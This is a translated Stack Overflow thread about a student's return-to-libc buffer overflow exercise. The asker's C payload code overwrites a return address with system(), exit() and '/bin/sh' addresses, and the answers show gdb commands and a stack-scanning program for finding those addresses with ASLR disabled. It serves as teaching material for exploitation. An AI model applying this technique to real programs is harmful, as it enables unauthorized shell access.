C语言 返回 lib_c 缓冲区溢出练习问题

声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow 原文地址: http://stackoverflow.com/questions/19124095/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me): StackOverFlow

提示:将鼠标放在中文语句上可以显示对应的英文。显示中英文
时间:2020-09-02 07:35:48  来源:igfitidea点击:

return to lib_c buffer overflow exercise issue

cbashbuffer-overflow

提问by lightningmanic

I'm supposed to come up with a program that exploits the "return to libc buffer overflow". This is, when executed, it cleanly exits and brings up a SHELL prompt. The program is executed in a bash terminal. Below is my C code:

我应该想出一个利用“返回到 libc 缓冲区溢出”的程序。这是,当执行时,它干净地退出并调出一个 SHELL 提示。该程序在 bash 终端中执行。下面是我的 C 代码:

#include <stdio.h>
int main(int argc, char*argv[]){
    char buffer[7];

    char buf[42];
    int i = 0;
    while(i < 28)
    {
            buf[i] = 'a';
            i = i + 1;
    }

    *(int *)&buf[28] = 0x4c4ab0;
    *(int *)&buf[32] = 0x4ba520;
    *(int *)&buf[36] = 0xbfffff13;

    strcpy(buffer, buf);

    return 0;
}

Using gdb, I've been able to determine the following:

使用gdb,我已经能够确定以下内容:

  • Address for "system": 0x4c4ab0
  • Address for "exit": 0x4ba520
  • The string "/bin/sh" resides in memory at: 0xbfffff13
  • “系统”的地址:0x4c4ab0
  • “退出”地址:0x4ba520
  • 字符串“/bin/sh”驻留在内存中:0xbfffff13

I also know, using gdb, that inserting 32 "A"'s into my buffer variable will overwrite the return address. So given that the system call is 4 bytes, I start by filling in my memory "leak" at 28 bytes. At the 28th byte, I begin my system call, then exit call, and finally add my "/bin/sh" memory location.

我也知道,使用gdb,将 32 个“A”插入我的缓冲区变量将覆盖返回地址。因此,考虑到系统调用是 4 个字节,我首先在 28 个字节处填充我的内存“泄漏”。在第 28 个字节,我开始我的系统调用,然后退出调用,最后添加我的“/bin/sh”内存位置。

When I run the program, however, I get the following:

但是,当我运行该程序时,我得到以下信息:

sh: B???: command not found
Segmentation fault (core dumped)

I'm really not sure what I'm doing wrong...

我真的不确定我做错了什么......

[EDIT]: I was able to get the string "/bin/sh" by exporting a environmental variable:

[编辑]:我能够通过导出环境变量来获取字符串“/bin/sh”:

export MYSHELL="/bin/sh"

回答by Lucifer

You can search in libc for a fixed address of a /bin/sh string. Run you program in gdb then:

您可以在 libc 中搜索 /bin/sh 字符串的固定地址。然后在 gdb 中运行你的程序:

> (gdb) break main
> 
> (gdb) run   
>
> (gdb) print &system  
>  = (<text variable, no debug info>*) 0xf7e68250 <system>
> 
> (gdb) find &system,+9999999,"/bin/sh"  
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search. 
> 1 pattern found.

Good luck.

祝你好运。

回答by ouah

The problem in your program is the pointer you suppose to point to the /bin/shstring is actually not pointing to /bin/sh.

您程序中的问题是您认为指向/bin/sh字符串的指针实际上并未指向/bin/sh.

You get this address using gdb. But even without stack randomization, the stack address of your shell variable is different when the program is run under gdbthan without gdb. gdbis putting some debug information into the stack and this will shift your shell variables.

您可以使用gdb. 但是,即使没有堆栈随机化,当程序运行在你的shell变量的堆栈地址是不同的gdb比没有gdbgdb正在将一些调试信息放入堆栈,这将移动您的 shell 变量。

To convince yourself here is a quick and dirty program to find a /bin/shstring in the stack:

为了说服自己,这里有一个快速而肮脏的程序,用于/bin/sh在堆栈中查找字符串:

#include <stdio.h>
#include <string.h>

int main(void)
{
    char s[] = "/bin/sh";
    char *p = (char *) 0xbffff000;

    while (memcmp(++p, s, sizeof s));

    printf("%s\n", p);
    printf("%p\n", p);
}

First double check that stack randomization is disabled:

首先仔细检查堆栈随机化是否被禁用:

ouah@maou:~$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 0
ouah@maou:~$
ouah@maou:~$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 0
ouah@maou:~$

Ok, no stack randomization.

好的,没有堆栈随机化。

Let's compile the program and run it outside gdb:

让我们编译程序并在外面运行它gdb

ouah@maou:~$ gcc -std=c99 tst.c
ouah@maou:~$ ./a.out
/bin/sh
0xbffff724
ouah@maou:~$
ouah@maou:~$ gcc -std=c99 tst.c
ouah@maou:~$ ./a.out
/bin/sh
0xbffff724
ouah@maou:~$

Now let's run it under gdb:

现在让我们运行它gdb

ouah@maou:~$ ./a.out
/bin/sh
0xbffff724
ouah@maou:~$ gdb a.out -q
Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/ouah/a.out
/bin/sh
0xbffff6e4

Program exited normally.
(gdb) quit
ouah@maou:~$
ouah@maou:~$ ./a.out
/bin/sh
0xbffff724
ouah@maou:~$ gdb a.out -q
Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/ouah/a.out
/bin/sh
0xbffff6e4

Program exited normally.
(gdb) quit
ouah@maou:~$

As you can see the address of the /bin/shstring is different when the program is run inside or outside gdb.

如您所见,/bin/sh当程序在内部或外部运行时,字符串的地址是不同的gdb

Now what you can do is to use a variant of this program to find the true address of your string or a more elegant approach, get the address of a /bin/shstring directly from the libc (as you can guess there are a few occurrences).

现在你可以做的是使用这个程序的一个变体来找到你的字符串的真实地址或更优雅的方法,/bin/sh直接从 libc获取字符串的地址(你可以猜到有几次出现)。